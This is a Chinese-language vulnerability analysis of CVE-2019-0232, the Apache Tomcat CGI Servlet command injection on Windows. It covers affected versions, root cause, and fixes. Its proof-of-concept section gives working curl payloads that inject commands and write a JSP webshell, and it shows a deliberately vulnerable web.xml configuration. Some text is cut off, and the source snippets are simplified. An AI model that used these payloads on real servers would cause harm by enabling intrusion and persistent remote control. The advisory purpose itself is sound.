一、漏洞简介¶
1.1 漏洞背景¶
Tomcat 的 CGI(Common Gateway Interface)Servlet 允许执行外部脚本程序。虽然 CGI Servlet 在现代 Web 应用中已较少使用,但在一些遗留系统中仍然存在。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2019-0232 |
| 危害等级 | HIGH / 8.1 |
| 漏洞类型 | CGI Servlet 远程代码执行漏洞 |
| 披露时间 | 2019-04-15 |
| 影响组件 | Apache Tomcat 历史 |
- CVE 编号:CVE-2019-0232
- 危害等级:Important(重要)
- 披露时间:2019年4月
- 漏洞类型:远程代码执行(RCE)
- 影响平台:仅影响 Windows 系统
补充核验信息:公开时间:2019-04-15;NVD 评分:8.1(HIGH);CWE:CWE-78。
二、影响范围¶
2.1 受影响的版本¶
| 版本系列 | 受影响范围 |
|---|---|
| Tomcat 9.x | 9.0.0.M1 ~ 9.0.17 |
| Tomcat 8.x | 8.5.0 ~ 8.5.39 |
| Tomcat 7.x | 7.0.0 ~ 7.0.93 |
2.2 不受影响的版本¶
| 版本系列 | 修复版本 |
|---|---|
| Tomcat 9.x | ≥ 9.0.18 |
| Tomcat 8.x | ≥ 8.5.40 |
| Tomcat 7.x | ≥ 7.0.94 |
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 运行在 Windows 平台
- CGI Servlet 已启用(默认禁用)
- enableCmdLineArguments 设置为 true(非默认值)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞源于 Java Runtime 在 Windows 平台上处理命令行参数的方式与类 Unix 系统不同。
在 Windows 上,Java 的 Runtime.exec() 方法不会自动处理参数中的特殊字符(如 &、|、>),而 Windows 命令处理器(cmd.exe)会将这些字符解释为命令连接符或重定向符。
当 enableCmdLineArguments=true 时,攻击者可以通过 CGI 请求参数注入恶意命令:
http://target/cgi-bin/hello.bat?&dir%20c:\
3.2 源码层面的根因分析(结合源码与补丁对比)¶
CGI Servlet 中的问题代码(org.apache.catalina.servlets.CGIServlet):
// 当 enableCmdLineArguments=true 时
// CGI 参数会被添加到命令行中执行
if (enableCmdLineArguments) {
// 参数直接传递给 Runtime.exec()
// 在 Windows 上,这些参数可能包含命令注入字符
String[] cmdArray = buildCommand(executable, params);
Runtime.getRuntime().exec(cmdArray);
}
Windows 命令处理差异:
// 在 Unix 系统上:
// Runtime.exec(new String[]{"cmd", "& whoami"})
// 会被正确解析为单个参数
// 在 Windows 系统上:
// Runtime.exec(new String[]{"cmd.bat", "& whoami"})
// 可能被 cmd.exe 解释为两个命令
四、漏洞复现(可选)¶
4.1 环境搭建¶
<!-- 在 conf/web.xml 中启用 CGI Servlet -->
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value> <!-- 漏洞触发条件 -->
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value>cmd.exe</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
4.2 PoC 演示与测试过程¶
命令注入攻击:
# 在目标服务器上执行 whoami 命令
curl "http://target:8080/cgi-bin/hello.bat?&whoami"
# 列出 C 盘目录
curl "http://target:8080/cgi-bin/hello.bat?&dir%20c:\\"
# 写入 Webshell
curl "http://target:8080/cgi-bin/hello.bat?&echo%20<%25%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22));%20%25>%20>%20..\webapps\ROOT\shell.jsp"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级至修复版本(9.0.18 / 8.5
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 在完成版本升级前,建议将相关服务限制在可信网络边界内,并最小化暴露面。
- 对高风险接口、插件或调试功能实施临时下线、访问控制与日志监控。
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2019-0232
- CVE:https://www.cve.org/CVERecord?id=CVE-2019-0232
- http://packetstormsecurity.com/files/153506/Apache-Tomcat-CGIServlet-enableCmdLineArguments-Remote-Code-Execution.html
- http://seclists.org/fulldisclosure/2019/May/4
- http://www.securityfocus.com/bid/107906
- https://access.redhat.com/errata/RHSA-2019:1712
- https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
- http://target/cgi-bin/hello.bat?&dir%20c:\